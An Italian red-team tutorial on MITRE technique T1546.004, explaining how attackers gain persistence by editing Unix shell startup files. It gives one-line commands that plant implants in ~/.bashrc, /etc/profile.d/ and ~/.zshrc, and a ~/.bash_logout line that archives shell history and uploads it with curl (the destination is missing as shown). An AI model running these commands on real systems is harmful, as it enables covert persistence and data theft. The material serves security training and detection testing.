Persistenza nella Shell Unix: Unix Shell Configuration Modification (T1546.004)

Ogni volta che un utente apre un terminale o si connette via SSH, il sistema operativo esegue una cascata silenziosa di script di configurazione: file come /etc/profile, ~/.bashrc, ~/.bash_profile e, su macOS, ~/.zshrc e ~/.zlogin. Questi script definiscono variabili d'ambiente, alias e personalizzazioni della sessione. La tecnica T1546.004 — Unix Shell Configuration Modification sfrutta esattamente questo meccanismo: un avversario inserisce comandi malevoli in uno o più di questi file, ottenendo l'esecuzione automatica di payload ogni volta che una shell viene avviata o terminata.

La tecnica si colloca in due tattiche distinte della kill chain. In TA0003 (Persistence) garantisce il mantenimento dell'accesso attraverso riavvii, cambio credenziali e interruzioni di rete: il codice sopravvive silenziosamente nel profilo utente. In TA0004 (Privilege Escalation) entra in gioco quando l'attaccante riesce a modificare file di sistema come /etc/profile o /etc/zprofile, che vengono eseguiti da ogni utente — incluso root — al login.

La superficie d'attacco è ampia: 4 famiglie malware documentate sfruttano questa tecnica, 1 gruppo APT ne fa uso attivo, e la campagna ShadowRay (C0045) l'ha impiegata contro settori critici come l'educazione, la biopharma e il mondo crypto. La pericolosità risiede nella banalità del meccanismo: una singola riga aggiunta a un file di testo può garantire mesi di accesso persistente senza mai toccare i tradizionali meccanismi di avvio come systemd o cron.


La simulazione di questa tecnica in laboratorio è estremamente diretta e non richiede tool complessi. L'obiettivo è dimostrare come una singola riga in un file di configurazione shell possa garantire persistenza stabile, sia a livello utente che a livello sistema.

Persistenza user-level su Linux (bash). Il vettore più comune è ~/.bashrc, che viene eseguito ad ogni apertura di shell interattiva o connessione remota. In laboratorio, simula l'inserimento di un beacon con un comando come:

echo 'nohup /tmp/implant &>/dev/null &' >> ~/.bashrc

Per replicare il comportamento di RotaJakiro, che nasconde il binario in una directory con prefisso dot, crea prima la struttura:

mkdir -p ${HOME}/.gvfsd/.profile/ && cp implant ${HOME}/.gvfsd/.profile/payload && echo '${HOME}/.gvfsd/.profile/payload &' >> ~/.bashrc

L'ordine di sourcing è rilevante: bash esegue solo il primo file esistente tra ~/.bash_profile, ~/.bash_login e ~/.profile. In un esercizio red team, verificare quale esiste con ls -la ~/.bash_profile ~/.bash_login ~/.profile 2>/dev/null consente di scegliere il punto di inserzione ottimale.

Persistenza system-level. Se si dispone di privilegi root, il target diventa /etc/profile.d/. Creare uno script in questa directory è meno invasivo rispetto alla modifica diretta di /etc/profile e passa più facilmente inosservato:

echo '#!/bin/bash' > /etc/profile.d/sysupdate.sh && echo '/opt/.cache/updater &' >> /etc/profile.d/sysupdate.sh && chmod 644 /etc/profile.d/sysupdate.sh

Persistenza su macOS (zsh). Il comportamento di XCSSET è particolarmente elegante: anziché modificare direttamente .zshrc, crea un file separato .zshrc_aliases e inserisce in .zshrc solo una riga di sourcing. In laboratorio:

echo '/tmp/payload' > ~/.zshrc_aliases && echo '[ -f $HOME/.zshrc_aliases ] && . $HOME/.zshrc_aliases' >> ~/.zshrc

Questo approccio riduce la visibilità dell'iniezione perché il contenuto malevolo risiede in un file dall'aspetto innocuo.

Persistenza al logout. Un vettore spesso trascurato è ~/.bash_logout, eseguito alla chiusura della sessione. Utile per esfiltrare dati raccolti durante la sessione o per ripulire tracce:

echo 'tar czf /tmp/.sess.tgz ~/.bash_history && curl -X POST -F "f=@/tmp/.sess.tgz" ' >> ~/.bash_logout

Per validare la catena completa, lo strumento Atomic Red Team (open source) di Red Canary include test specifici per T1546.004 che automatizzano l'inserzione e la verifica di payload nei file di configurazione shell, consentendo di misurare la detection posture del SOC in modo strutturato.


Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.